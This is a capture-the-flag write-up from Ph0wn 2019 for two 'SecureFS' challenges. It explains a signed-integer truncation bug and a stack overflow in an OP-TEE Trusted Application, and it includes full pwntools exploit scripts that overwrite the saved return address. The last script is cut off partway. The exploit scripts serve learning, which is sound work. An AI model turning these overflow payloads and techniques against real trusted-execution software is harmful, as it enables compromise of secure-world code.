└── ph0wn2019 └── pwn └── securefs ├── README.md ├── exploit ├── method1.py ├── method2.py ├── method2_getoffset.py └── method2_leakX30.py ├── files ├── bddf28fa-86fd-4b5d-9b5e-aad2f2b0c68d.elf ├── ph0wn_flagstorage └── qemu_image.tar.gz ├── images └── exploit.png └── sample.h /ph0wn2019/pwn/securefs/README.md: -------------------------------------------------------------------------------- 1 | Ph0wn 2019 - SecureFS 1 & 2 writeups 2 | ==================================== 3 | 4 | Smart devices oriented CTF, [Ph0wn](https://ph0wn.org/), took place last friday in Sofia Antipolis in France. There were these two *pwn* challenges called *secureFS*. 5 | 6 | Whereas the first one is quite easy, I got stuck on the second one during the CTF because either your payload is working the first time or you are likely to struggle trying to debug what is going on. So the last part will describe how to debug TA using radare2. 7 | 8 | Setting up the challenges 9 | ------------------------- 10 | 11 | Several files are provided to let you spawn your own VM and test your exploit locally : 12 | 13 | 1. [bddf28fa-86fd-4b5d-9b5e-aad2f2b0c68d.elf](files/bddf28fa-86fd-4b5d-9b5e-aad2f2b0c68d.elf) is a *Trusted Application* (aka TA) 14 | 2. [ph0wn_flagstorage](files/ph0wn_flagstorage) is a Linux armv8 userspace application 15 | 3. [qemu_image.tar.gz](files/qemu_image.tar.gz) contains the VM to test locally 16 | 17 | To setup the challenge, just extract the QEMU archive and launch the `run.sh` script. As the real challenge is listening on network, you can use `socat` to bind a network socket on an application using standard input/output : 18 | 19 | ```sh 20 | tar xzf qemu_image.tar.gz 21 | cd qemu 22 | socat TCP-LISTEN:8000,reuseaddr,nodelay,fork,end-close exec:"./run.sh",nofork 23 | ``` 24 | 25 | The script `run.sh` is launching a QEMU VM with the following files : 26 | 27 | * `bl1.bin` : The bootloader 28 | * `bl32*.bin` : The [OP-TEE OS](https://optee.readthedocs.io/en/latest/), this a TEE using TrustZone for ARMv8. This OS is meant to be used from a Linux driver in the non-secure side. 29 | * `Image` : a Linux kernel 30 | * `rootfs.cpio.gz` : a Linux userspace 31 | 32 | Using socat, you can communicate with the input/output of QEMU using `netcat` : 33 | 34 | ``` 35 | nc 127.0.0.1 8000 36 | ``` 37 | 38 | Note that QEMU is launched using the option `-serial stdio`. So the challenge is directly bound to the **serial port** of the VM, more precisely the Linux *console*. This is important as there are several constraints : 39 | 40 | 1. All characters you are sending are *echoed* 41 | 2. Some specials characters are *echoed* differently. For example, if you send the byte 0x00, you will read back '^@' but the target is really receiving your null byte. 42 | 3. Some characters are handled by the **serial** driver and won't be given to the target application. These are mostly the serial-controlling bytes (when serial is configured in *text* mode). The important byte to know is **0x04 EOT (end of transmission)** which allow you to **flush** the reading. 43 | 44 | First challenge 45 | --------------- 46 | 47 | When the QEMU VM boot, only one application is spawn on the console. If you inspect the rootfs (see at end for rootfs manipulation commands), you will see a modified `/etc/inittab` : 48 | 49 | ``` 50 | ::once:-/bin/login -f ctf # GENERIC_SERIAL 51 | ``` 52 | 53 | The login of `ctf` will spawn the provided Linux application `ph0wn_flagstorage`. This application is quite easy to reverse as there are the symbols and no offuscation. 54 | 55 | After Linux boot process, you will see : 56 | 57 | ``` 58 | _ ___ 59 | | | / _ \ 60 | _ __ | |__ | | | |_ ___ __ 61 | | '_ \| '_ \| | | \ \ /\ / / '_ \ 62 | | |_) | | | | |_| |\ V V /| | | | 63 | | .__/|_| |_|\___/ \_/\_/_|_| |_| ___ 64 | | | |_ \ / _ \/_ |/ _ \ 65 | |_| ) | | | || | (_) | 66 | / /| | | || |\__, | 67 | / /_| |_| || | / / 68 | |____|\___/ |_| /_/ 69 | ~ secure flagstorage ~ 70 | What do you want to do? 71 | [P]ut Flag 72 | [G]et Flag 73 | [E]xit 74 | ``` 75 | 76 | So you can run two *commands* : **Put** and **Get** a flag. The decompiled code using Ghidra is quite readable. 77 | 78 | Here is the code of the function `get_flag_wrapper()` : 79 | 80 | ```c 81 | ulonglong get_flag_wrapper(void) 82 | { 83 | uint ret; 84 | ulonglong flagIndex; 85 | char *message; 86 | 87 | printf("Flag id: "); 88 | flagIndex = get_int(); 89 | if ((int)flagIndex < 10) { 90 | if ((int)flagIndex != 0) { 91 | flagIndex = get_flag(flagIndex); 92 | return flagIndex; 93 | } 94 | message = "Access Denied."; 95 | } 96 | else { 97 | message = "Secure Flag Storage can only save up to 10 flags!"; 98 | } 99 | ret = puts(message); 100 | return (ulonglong)ret; 101 | } 102 | ``` 103 | 104 | We already notice a bug in this function as `flagIndex` is used as a **signed** integer and we don't check if it is positive. So giving a negative value will pass both checks. 105 | 106 | In most CTF, having a string like "Access denied" is a good hint to know what to do :laughing:. As you may guess, the goal is to get the **flag ID 0**. 107 | 108 | In the `get_flag()` function, the `flagIndex` variable is given to a TEE application using `TEEC_InvokeCommand()`. If you want to know how to define the `TEEC_Operation` structure inside Ghidra, see at the end. 109 | 110 | This latter function only call to a TEE handler to perform an operation. In this challenge, the operation is to get back a stored flag (a character string) given an **index**. The important information is that the `flagIndex` is truncated as a byte in the code : 111 | 112 | ```c 113 | operation.params[0] = stringBuffer; /* 128-bytes buffer in stack */ 114 | operation.params[1] = flagIndex & 0xff; 115 | ``` 116 | 117 | This could be expected as the programmer believe that the maximum value of `flagIndex` is 10, so it can be stored in a byte. But as we can give negative value, the binary mask will transform it into a byte from **0** to 255. 118 | 119 | Here is a simple Python function which gives trivial values of signed values from unsigned ones : 120 | 121 | ```python 122 | def uintToSignedInt(val): 123 | for i in range(1,257): 124 | if (-i & 0xff) == val: 125 | return -i 126 | return 0 127 | ``` 128 | 129 | There are a lot of solution to get `flagIndex = 0`, the trivial one is : 0xffffffffffffff00 (-256 in signed format). You can check it : 130 | 131 | ```sh 132 | python -c "print(-256 & 0xff)" 133 | # gives 0 134 | ``` 135 | 136 | To get the flag 0 : 137 | 138 | ``` 139 | > What do you want to do? 140 | [P]ut Flag 141 | [G]et Flag 142 | [E]xit 143 | > G 144 | Flag id: -256 145 | Flag content: ph0wn{XXXXXXXXXXXXXXXX} 146 | ``` 147 | 148 | Second challenge 149 | ---------------- 150 | 151 | As you could expect, the second part is an exploitation of the Tusted Application triggered from the same Linux application. 152 | 153 | We will first describe the vulnerability. But for the exploitation, we will see three different methods to develop the exploit : 154 | 155 | 1. Method 1 : Only using static analysis because *debugging is doubting*... 156 | 2. Method 2 : Using the *hidden* UART of OP-TEE as a leak 157 | 3. Method 3 : Using a debugger (radare2) to debug your exploit 158 | 159 | During the CTF, I tried the first one, and when the exploit was not working (as expected), I tried the third one (which is quite long as you have to learn a lot of things on OP-TEE). 160 | 161 | ### Identifying the vulnerability 162 | 163 | The vulnerability with the `flagIndex` allow you to bypass a check but won't give you much more. So let's check the `put_flag_wrapper()` function. After some variable definition in Ghidra, we get a very clean code : 164 | 165 | ```c 166 | void put_flag_wrapper(void) 167 | { 168 | ulonglong length; 169 | void *rc; 170 | 171 | printf("Flag length: "); 172 | length = get_int(); 173 | if (0x7f < (int)length) { 174 | printf("Flags can only have up to %d characters!\n",0x80); 175 | return; 176 | } 177 | printf("Flag content: "); 178 | read_n(&flag_global_buffer,(size_t)(length & 0xffffffff)); 179 | put_flag(length & 0xffffffff,&flag_global_buffer,1); 180 | memset(&flag_global_buffer,0,0x80); 181 | return; 182 | } 183 | ``` 184 | 185 | But wait... Is-it not the same vulnerability ? There is **signed** comparision without checks on negative value. So we can give negative value. 186 | 187 | The `put_flag()` function only call the TA asking to store the provided flag of size `length`. As before, before sending the `length` to the TA, the value is truncated in one byte. So there is still a range which is not expected by the programmmer : **from 0x80 to 0xff** (as check is `0x7f < (int)length`). 188 | 189 | Now, let's reverse the TA application. This is the ELF provided : `bddf28fa-86fd-4b5d-9b5e-aad2f2b0c68d.elf`. You can also extract it from the rootfs (search for `*.ta` files). 190 | 191 | As there are the symbols, you will easily find the `put_flag()` function which looks like : 192 | 193 | ```c 194 | ulonglong put_flag(int paramTypes, TEE_Param *params) 195 | { 196 | size_t size; 197 | ulonglong rc; 198 | undefined8 newObjPtr; 199 | char tmp [128]; 200 | 201 | memset(tmp,0,0x80); 202 | if (paramTypes == 0x27) { 203 | if (flag_id < 10) { 204 | snprintf(&flag_id_str,7,"flag_%d"); 205 | TEE_MemMove(tmp, params[0], params[1]); 206 | size = strlen(tmp); 207 | rc = TEE_CreatePersistentObject(1,&flag_id_str,6,5,0,tmp,(ulonglong)size,&newObjPtr); 208 | rc = rc & 0xffffffff; 209 | if ((int)rc == 0) { 210 | trace_printf("put_flag",0x95,3,1,"Successfully placed flag %s in TEE",&flag_id_str); 211 | params[2] = flag_id; 212 | flag_id = flag_id + 1; 213 | TEE_CloseObject(newObjPtr); 214 | } 215 | else { 216 | trace_printf("put_flag",0x91,1,1,"Placing flag in TEE failed 0x%08x",rc); 217 | } 218 | } 219 | else { 220 | rc = 0xffff000c; 221 | } 222 | } 223 | else { 224 | rc = 0xffff0006; 225 | } 226 | return rc; 227 | } 228 | ``` 229 | 230 | What happen if we give a flag length from 0x80 to 0xff ? We can overflow the `tmp` stack variable with the `TEE_MemMove()` and write up to 0x80 bytes after the end of `tmp` in the stack. This is our vulnerability for code execution. 231 | 232 | In this challenge, exploitation is made easiest as we just have to execute another function called `win()` in the TA. This function copies the challenge flag (`ph0wn{....}`) in the params[0] and the Linux application prints again it after. 233 | 234 | So the only thing we have to do is to jump on the `win()` function. Also, OP-TEE (at least this version?) does not have protections like stack canaries (neither ASLR). 235 | 236 | ### Method 1 : Exploit only from static analysis 237 | 238 | As there is no protection in the TA, the exploitation seems quite easy : overflow the stack until overwritting the saved PC (which is generally *pop* in X30 before a ret). I recommand reading this [article](https://thinkingeek.com/2017/05/29/exploring-aarch64-assembler-chapter-8/) for ARM64 (aka. aarch64) basics. 239 | 240 | First, if you read the ASM, you will see that x29 and x30 (the **link register**) are stored at the end of the stack, after the local variable (so **before** in terms of memory address). So we won't be able to overwrite them. But, we can overwrite the ones of the **caller**, which is the function `TA_InvokeCommandEntryPoint()` in our case. Also for this function, the x29 and x30 are saved in stack *at the end*. And the end of the caller stack is precisely **just after** the beginning of the stack of our vulnerable function. 241 | 242 | To sum up, here is the stack during the overflow : 243 | 244 | ![](images/exploit.png) 245 | 246 | As described [here](https://developer.arm.com/architectures/learn-the-architecture/armv8-a-instruction-set-architecture/function-calls), the X30 register (aka LR) will become the PC when executing the **ret** instruction. X29 is used to store locally to a function the value of SP. Here the X29 value is not really useful as SP register will not be restored from the stack during our exploit. 247 | 248 | We can write X30, but what is the address to write ? As I said, there is no ASLR but you don't know where the function is located in memory... But luckily the system is **little endian**, so low bytes of X30 are stored first in memory and will be the first ones to be overwritten during overflow. You also know that the existing content of this stored X30 is the return address of `TA_InvokeCommandEntryPoint()` which should be inside `__utee_entry()`. 249 | 250 | Ghidra tells you that `.text` section starts at offset 0x20. The `win()` function is at the very begining of this section. Expected value of X30 is at offset `0x000033dc` as this is the instruction after the call of `TA_InvokeCommandEntryPoint()`. As usually, MMU mapping (and load address) are at least aligned to 0x1000, you can guess that the ending of `win()` function memory address should looks like `0xXXXXXXXXXXXXY020`, where `Y` is unknown and `X` is the initial content of X30 which won't be overwritten. We only need to overwrite 2 bytes of X30, trying each Y values (16 possibilities). 251 | 252 | To sum, here is our attack plan : 253 | 254 | 1. Ask to put a flag in TEE with negative value, where truncated value is 128 + 8 + 2 255 | 2. Write (128+8) dummy bytes and the 0xY020 with Y : 0x0 -> 0xf 256 | 3. Get response or detect a crash... 257 | 258 | You will find **Y=1**. Exploit file is available in [exploit/method1.py](exploit/method1.py). Here is the interresting part : 259 | 260 | ```Python 261 | overflowSize = 0x80 + 8 + 2 262 | signedSize = uintToSignedInt(overflowSize) 263 | payload = 'A' * 0x80 264 | payload += 'B' * 8 # X29 265 | payload += '\x20\x10' 266 | 267 | putFlagToWin(p, signedSize, payload) 268 | print(read_all(p)) # Print answer 269 | ``` 270 | 271 | You will get the flag as it is copied to `params` and printed in the Linux application later : 272 | 273 | ``` 274 | Placed "Congratulations! The flag is: ph0wn{XXXXXXXXXXXXXXXX}" in flag 0 275 | ``` 276 | 277 | ### Method 2 : Debugging using the *hidden* UART 278 | 279 | Previous exploit is quite simple but developping an exploit without debugging is difficult. You would have to know **exactly** the stack layout, assume the TA start address is really aligned, ... Here is another method which will give you a lot of debugging information to fix your exploit. 280 | 281 | If you search documentation about OP-TEE debugging, you may end up in this [page](https://optee.readthedocs.io/en/latest/building/devices/qemu.html) explaining how to debug TA application using GDB. We will see in the *method 3* how to use a debugger but there is also a very useful information in this page : there a **secure UART** in the default configuration for QEMU ! 282 | 283 | I cloned OP-TEE and run the provided commands to see what QEMU command is used to get this second UART and I got : 284 | 285 | ``` 286 | qemu-system-aarch64 -nographic -serial tcp:localhost:54320 -serial tcp:localhost:54321 -smp 2 -s -S -machine virt,secure=on -cpu cortex-a57 -d unimp -semihosting-config enable,target=native -m 1057 -bios bl1.bin -initrd rootfs.cpio.gz -kernel Image -no-acpi -append console=ttyAMA0,38400 keep_bootcon root=/dev/vda2 -netdev user,id=vmnic -device virtio-net-device,netdev=vmnic 287 | ``` 288 | 289 | The tips is to use two `-serial` options. The first one will define the Linux console and the second one is the OP-TEE console. 290 | 291 | Here is the new QEMU command (in `run.sh`) : 292 | 293 | ```sh 294 | rm -f /tmp/flagstorage.in ; mkfifo /tmp/flagstorage.in 295 | rm -f /tmp/flagstorage.out ; mkfifo /tmp/flagstorage.out 296 | qemu-system-aarch64 \ 297 | -nographic \ 298 | -smp 2 \ 299 | -machine virt,secure=on -cpu cortex-a57 \ 300 | -d unimp -semihosting-config enable,target=native \ 301 | -m 1057 \ 302 | -bios bl1.bin \ 303 | -initrd rootfs.cpio.gz \ 304 | -kernel Image -no-acpi \ 305 | -monitor null -chardev stdio,mux=off,signal=on,id=char0 -serial chardev:char0 \ 306 | -monitor null -chardev pipe,id=char1,path=/tmp/flagstorage -serial chardev:char1 307 | ``` 308 | 309 | The new command use two named pipe (`/tmp/flagstorage.in` and `/tmp/flagstorage.out`) for RX and TX or the OP-TEE UART. Then, just launch `run.sh` and `cat /tmp/flagstorage.out`, you will see OP-TEE console. 310 | 311 | If you crash the TA, you will get `TEEC_InvokeCommand failed with code 0xffff3024 origin 0x3` on the Linux console. But on the OP-TEE console, you get the registers values when the fault is triggered. 312 | 313 | Let's put a flag of size -1 (0xff after truncation) with a pattern : 314 | 315 | ``` 316 | Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A 317 | ``` 318 | 319 | OP-TEE console will give you : 320 | 321 | ``` 322 | E/TC:? 0 User TA prefetch-abort at address 0x3765413665413565 (translation fault) 323 | E/TC:? 0 esr 0x82000004 ttbr0 0x200000e177000 ttbr1 0x00000000 cidr 0x0 324 | E/TC:? 0 cpu #0 cpsr 0x20000100 325 | E/TC:? 0 x0 0000000000000000 x1 0000000000000040 326 | E/TC:? 0 x2 0000000000000000 x3 0000000000000001 327 | E/TC:? 0 x4 000000004002abfc x5 0000000000000000 328 | E/TC:? 0 x6 00000000ffffffff x7 0000000000000020 329 | E/TC:? 0 x8 0000000000000001 x9 000000004001c50a 330 | E/TC:? 0 x10 000000004001412c x11 000000009cc7989c 331 | E/TC:? 0 x12 000000002e02520f x13 000000004002abd8 332 | E/TC:? 0 x14 0000000000000000 x15 0000000000000000 333 | E/TC:? 0 x16 000000000e114434 x17 6d2de8b000000000 334 | E/TC:? 0 x18 3917397200000000 x19 6641396541386541 335 | E/TC:? 0 x20 4132664131664130 x21 000000004002af30 336 | E/TC:? 0 x22 0000000000000027 x23 000000004002af80 337 | E/TC:? 0 x24 0000000000000538 x25 000000004002af88 338 | E/TC:? 0 x26 0000000000000002 x27 0000000000000538 339 | E/TC:? 0 x28 0000000000000000 x29 4134654133654132 340 | E/TC:? 0 x30 3765413665413565 elr 3765413665413565 341 | ``` 342 | 343 | You can see that X19, X20, X29 and X30 have been overwritten. To convert X30 in ASCII : 344 | 345 | ```sh 346 | echo "3765413665413565" | xxd -r -ps | tac -r -s "." 347 | # e5Ae6Ae7 348 | ``` 349 | 350 | The bytes `e5Ae6Ae7` are at offset 136 (0x88 in hex) in our input. 351 | 352 | If you overflow 136 bytes, there is no crash. With 137 bytes, you overwrite first byte of X30 and get a crash. Thanks to the secure UART, you get the 7 remaining bytes of X30 in the crash data : 0x00000000400143XX. You can guess that XX is 0xdc (as this is the expected end of X30 value). The right value for `win()` function is **0x40011020** computed from (0x400143dc - 0x000033dc + 0x20). 353 | 354 | Now that we have the right value of X30, the exploit is easy : 355 | 356 | So here is our payload : 357 | 358 | ```Python 359 | x30 = 0x40011020 360 | overflowSize = 0x88 + 8 361 | signedSize = uintToSignedInt(overflowSize) 362 | payload = 'A' * 0x88 363 | payload += p64(x30) 364 | ``` 365 | 366 | ### Method 3 : Using a debugger (radare2!) to debug TA 367 | 368 | Here is the interresting part which took me a long time. Let's assume the exploit is not simple and the OP-TEE console is deactivated. As TEE is emulated in QEMU, you can debug it from your Host but there are a lot of limitations. 369 | 370 | This [page](https://github.com/ForgeRock/optee-build/blob/master/docs/debug.md) describes how to use GDB to debug OP-TEE assuming you have the ELF files, but we haven't. Also, if you follow the steps, you won't get the right address for `.text` section of TA. 371 | 372 | There are two difficulty of setting breakpoint in our TA : 373 | 374 | * We don't have the address yet 375 | * To use a breakpoint in TA, you have to put it when the MMU config is able to lookup given memory. This means you have to set the breakpoint after the TA has been loaded and from the TEE. 376 | 377 | The documentation says that we should first break on function `thread_enter_user_mode()`, then locate where the TA is loaded and then put a breakpoint inside the TA. 378 | 379 | Let's start with the first one : breaking in `thread_enter_user_mode()`. This function belongs to the OP-TEE OS and is in the BL32 loaded by QEMU. 380 | 381 | The file `bl32.bin` is the **header** of OP-TEE. 382 | 383 | ``` 384 | $ hexdump -C bl32.bin 385 | 00000000 4f 50 54 45 02 01 00 00 01 00 00 00 00 00 00 00 |OPTE............| 386 | 00000010 00 00 10 0e 00 00 00 00 10 e3 04 00 |............| 387 | 0000001c 388 | ``` 389 | 390 | You can find the definition of this structure in the file [optee_utils.c](https://github.com/ARM-software/arm-trusted-firmware/blob/master/lib/optee/optee_utils.c) : 391 | 392 | ```c 393 | typedef struct optee_image { 394 | uint32_t load_addr_hi; 395 | uint32_t load_addr_lo; 396 | uint32_t image_id; 397 | uint32_t size; 398 | } optee_image_t; 399 | 400 | typedef struct optee_header { 401 | uint32_t magic; 402 | uint8_t version; 403 | uint8_t arch; 404 | uint16_t flags; 405 | uint32_t nb_images; 406 | optee_image_t optee_image_list[]; 407 | } optee_header_t; 408 | ``` 409 | 410 | We can extract : 411 | 412 | * load_addr_hi = 0x0 413 | * load_addr_lo = 0x0e100000 414 | 415 | Now we have the base address of OP-TEE, we have to locate the function `thread_enter_user_mode()`. To do that I compiled OP-TEE add locate the function in the generated binary : 416 | 417 | ``` 418 | 000000000e106cc8 : 419 | 420 | e106cc8: 72001cdf tst w6, #0xff 421 | e106ccc: f94003e9 ldr x9, [sp] 422 | e106cd0: 54000100 b.eq e106cf0 423 | e106cd4: d53b4228 mrs x8, daif 424 | e106cd8: 531b00a6 ubfiz w6, w5, #5, #1 425 | ``` 426 | 427 | Let's assume the assembly is quite the same and locate it in our file `bl32_extra1.bin`. In Ghidra, you can search for assembly : "Search" -> "Program Text". There is only one hit on "mrs x8" and we identify our function at offset 0x00005a38. On runtime, our function should be at address **0xe105a38**. 428 | 429 | Let's try to break on it. To launch QEMU with GDB backend, use option `-s -S`. QEMU will wait a debugger before starting. 430 | 431 | You can use radare2 : 432 | 433 | ``` 434 | r2 -d gdb://127.0.0.1:1234 -a arm -b 64 -Dgdb 435 | [0x00000000]> db 0xe105a38 436 | [0x00000000]> dc 437 | hit breakpoint at: e105a38 438 | ``` 439 | 440 | Now, we have to locate our TA in memory. To do that, we will search in memory for the code of our `put_flag()` function which starts with : 441 | 442 | ``` 443 | 00100074 fd 7b b4 a9 stp x29,x30=>put_flag,[sp, #local_c0]! 444 | 00100078 02 10 80 d2 mov x2,#0x80 445 | 0010007c fd 03 00 91 mov x29,sp 446 | ``` 447 | 448 | We will try to locate the bytes fd7bb4a9021080d2 (two first instructions) in memory. According documentation, OP-TEE is likely to map TA from address like 0x40000000, but if you don't know, just search in a wider range. 449 | 450 | In radare2 : 451 | 452 | ``` 453 | [0x0e105a38]> e search.in = raw 454 | [0x0e105a38]> e search.from = 0x40000000 455 | [0x0e105a38]> e search.to = 0x40100000 456 | [0x0e105a38]> /x fd7bb4a9021080d2 457 | # Hit at 0x40011074 458 | [0x0e105a38]> pd @ 0x40011074 459 | # This is our function ! 460 | ``` 461 | 462 | Radare2 find the instructions at address 0x40011074. Using `pd` (print disassembly), we confirm that this is our function `put_flag()`. Now define a break point on it and remove the first one : 463 | 464 | ``` 465 | [0x0e105a38]> db 0x40011020 466 | [0x0e105a38]> db-0xe105a38 467 | [0x0e105a38]> dc 468 | hit breakpoint at: 40011020 469 | ``` 470 | 471 | Note that a flag is stored at startup so you will break one time at the boot. Then, each time you trigger the "put flag" operation, r2 will break. 472 | 473 | Now, you can debug the exploit. Use `drr` command to print registers and use the other debugger commands (help is `d?`). 474 | 475 | For example : 476 | 477 | ``` 478 | # Before the call to MemMove : 479 | [0x400110e0]> drr | grep x0 480 | A0 x0 0x4002ae40 1073917504 481 | # X0 stores the address of our vulnerable buffer : 482 | [0x400110e0]> pxq @x0 483 | 0x4002ae40 0x0000000000000000 0x0000000000000000 ................<- Start of buffer 484 | 0x4002ae50 0x0000000000000000 0x0000000000000000 ................ 485 | 0x4002ae60 0x0000000000000000 0x0000000000000000 ................ 486 | 0x4002ae70 0x0000000000000000 0x0000000000000000 ................ 487 | 0x4002ae80 0x0000000000000000 0x0000000000000000 ................ 488 | 0x4002ae90 0x0000000000000000 0x0000000000000000 ................ 489 | 0x4002aea0 0x0000000000000000 0x0000000000000000 ................ 490 | 0x4002aeb0 0x0000000000000000 0x0000000000000000 ................<- End of buffer 491 | 0x4002aec0 0x000000004002aee0 0x00000000400143dc ...@.....C.@....<- X29 and X30 492 | 0x4002aed0 0x0000000040029400 0x000000004001e000 ...@.......@.... 493 | 0x4002aee0 0x000000004002af70 0x0000000040011388 p..@.......@.... 494 | 0x4002aef0 0x000000000e17bf90 0x0000000000000000 ................ 495 | 0x4002af00 0x000000000e1591e0 0x0000000000000700 ................ 496 | 0x4002af10 0x000000000e17c188 0x000000000e17c090 ................ 497 | 0x4002af20 0x0000000000000000 0x0000002700000000 ............'... 498 | 0x4002af30 0x000000004002c310 0x00000000000000ff ...@............ 499 | ``` 500 | 501 | Other useful tips 502 | ================= 503 | 504 | Rootfs (cpio.gz) extraction and packing 505 | ----------------------------- 506 | 507 | During the CTF, I was trying to patch the binary of the TA which is loaded from Linux userspace. Obviously, I failed as there is some kind of integrity/authentification of the file. 508 | 509 | But what can be useful is the commands to extract or modify the Linux rootfs used by QEMU. 510 | 511 | Be careful not to change files permissions and UIDs, or the system won't boot again. To ensure permissions are kept, I run the command as root : 512 | 513 | To extract the rootfs in `tmp` directory : 514 | 515 | ```sh 516 | mkdir tmp 517 | cd tmp 518 | unzip ../rootfs.cpio.gz 519 | sudo cpio -id < ../rootfs.cpio 520 | ``` 521 | 522 | Then to pack it again : 523 | 524 | ```sh 525 | sudo find . | sudo cpio --create --format='newc' > ../rootfs2.cpio 526 | sudo chown you:you ../rootfs2.cpio 527 | gzip ../rootfs.cpio.gz 528 | # + Remove tmp directory 529 | ``` 530 | 531 | Importing structure in Ghidra using source code 532 | ----------------------------------------------- 533 | 534 | In Ghidra, you can create structure from the UI but you can also import sources files using "File" -> "Parse C Source". 535 | 536 | First choose the profile **generic_clib_64**. 537 | 538 | Then, you have two solutions : 539 | 540 | 1. Configure a clean profile corresponding to your target. You will have to add the include directories of **each** included header (even the standard ones) using the `-I` option in the `Parse Option` 541 | 2. Construct a standalone header file from the original one using *known* types for Ghidra 542 | 543 | For example, for file [tee_client_api.h](https://github.com/OP-TEE/optee_client/blob/master/public/tee_client_api.h), I extracted structure to get this [file](sample.h) 544 | -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/exploit/method1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys 4 | import time 5 | import struct 6 | from pwn import * 7 | from pwnlib.tubes.process import process 8 | from pwnlib.tubes.ssh import ssh 9 | from pwnlib.util.packing import * 10 | 11 | def read_all(r,timeout=0.1): 12 | ans='' 13 | try: 14 | ansTmp = r.recv(timeout=timeout) 15 | ans = ansTmp 16 | while ansTmp != '': 17 | ansTmp = r.recv(timeout=timeout) 18 | ans += ansTmp 19 | return ans 20 | except: 21 | return ans 22 | 23 | def uintToSignedInt(val): 24 | for i in range(1,257): 25 | if (-i & 0xff) == val: 26 | return -i 27 | return 0 28 | 29 | def putFlag(p, size, value): 30 | p.send('P\n') 31 | read_all(p) 32 | p.send(str(size) + '\n') 33 | read_all(p) 34 | # Note that serialEoT will send a 0x04 (End Of Transmission) which will be interpreted by serial driver to flush write 35 | # This also means this is a bad char ! 36 | serialEoT = '\x04' 37 | p.send(value + serialEoT) 38 | resp = p.recvline() 39 | respSplited = resp.split('Placed') 40 | if len(respSplited) < 2 : 41 | print('Crash : ' + repr(resp)) 42 | return 0 43 | print('Flag sent successfully') 44 | return 1 45 | 46 | def putFlagToWin(p, size, value): 47 | p.send('P\n') 48 | read_all(p) 49 | p.send(str(size) + '\n') 50 | read_all(p) 51 | serialEoT = '\x04' 52 | p.send(value + serialEoT) 53 | 54 | def getFlag(p, index): 55 | p.send('G\n') 56 | read_all(p) 57 | p.send(str(index) + '\n') 58 | p.recvline() 59 | flag = p.recvline().replace('\r\n', '') 60 | return flag 61 | 62 | context.clear(arch = 'arm64') 63 | context.log_level = 'error' 64 | context.endian = 'little' 65 | context.bits = 64 66 | local=0 67 | 68 | ip = '127.0.0.1' 69 | p = remote(ip, 8000) 70 | 71 | print('Waiting VM to boot...') 72 | time.sleep(5) 73 | print(read_all(p, 2)) 74 | 75 | print('>>>>>>>>>>> Starting exploit') 76 | 77 | print('Overflow to overwrite saved x30 in stack') 78 | 79 | overflowSize = 0x80 + 8 + 2 80 | signedSize = uintToSignedInt(overflowSize) 81 | payload = 'A' * 0x80 82 | payload += 'B' * 8 # X29 83 | payload += '\x20\x10' 84 | 85 | putFlagToWin(p, signedSize, payload) 86 | print(read_all(p)) # Print answer 87 | 88 | p.close() 89 | exit(0) -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/exploit/method2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys 4 | import time 5 | import struct 6 | from pwn import * 7 | from pwnlib.tubes.process import process 8 | from pwnlib.tubes.ssh import ssh 9 | from pwnlib.util.packing import * 10 | 11 | def read_all(r,timeout=0.1): 12 | ans='' 13 | try: 14 | ansTmp = r.recv(timeout=timeout) 15 | ans = ansTmp 16 | while ansTmp != '': 17 | ansTmp = r.recv(timeout=timeout) 18 | ans += ansTmp 19 | return ans 20 | except: 21 | return ans 22 | 23 | def uintToSignedInt(val): 24 | for i in range(1,257): 25 | if (-i & 0xff) == val: 26 | return -i 27 | return 0 28 | 29 | def putFlag(p, size, value): 30 | p.send('P\n') 31 | read_all(p) 32 | p.send(str(size) + '\n') 33 | read_all(p) 34 | # Note that serialEoT will send a 0x04 (End Of Transmission) which will be interpreted by serial driver to flush write 35 | # This also means this is a bad char ! 36 | serialEoT = '\x04' 37 | p.send(value + serialEoT) 38 | resp = p.recvline() 39 | respSplited = resp.split('Placed') 40 | if len(respSplited) < 2 : 41 | print('Crash : ' + repr(resp)) 42 | return 0 43 | print('Flag sent successfully') 44 | return 1 45 | 46 | def putFlagToWin(p, size, value): 47 | p.send('P\n') 48 | read_all(p) 49 | p.send(str(size) + '\n') 50 | read_all(p) 51 | serialEoT = '\x04' 52 | p.send(value + serialEoT) 53 | 54 | def getFlag(p, index): 55 | p.send('G\n') 56 | read_all(p) 57 | p.send(str(index) + '\n') 58 | p.recvline() 59 | flag = p.recvline().replace('\r\n', '') 60 | return flag 61 | 62 | context.clear(arch = 'arm64') 63 | context.log_level = 'error' 64 | context.endian = 'little' 65 | context.bits = 64 66 | local=0 67 | 68 | ip = '127.0.0.1' 69 | p = remote(ip, 8000) 70 | 71 | print('Waiting VM to boot...') 72 | time.sleep(5) 73 | print(read_all(p, 2)) 74 | 75 | print('>>>>>>>>>>> Starting exploit') 76 | 77 | print('Overflow to override saved x30 in stack') 78 | x30 = 0x40011020 79 | overflowSize = 0x88 + 8 80 | signedSize = uintToSignedInt(overflowSize) 81 | payload = 'A' * 0x88 82 | payload += p64(x30) 83 | 84 | putFlagToWin(p, signedSize, payload) 85 | print(read_all(p)) # Print answer 86 | 87 | p.close() 88 | exit(0) 89 | -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/exploit/method2_getoffset.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys 4 | import time 5 | import struct 6 | from pwn import * 7 | from pwnlib.tubes.process import process 8 | from pwnlib.tubes.ssh import ssh 9 | from pwnlib.util.packing import * 10 | 11 | def read_all(r,timeout=0.1): 12 | ans='' 13 | try: 14 | ansTmp = r.recv(timeout=timeout) 15 | ans = ansTmp 16 | while ansTmp != '': 17 | 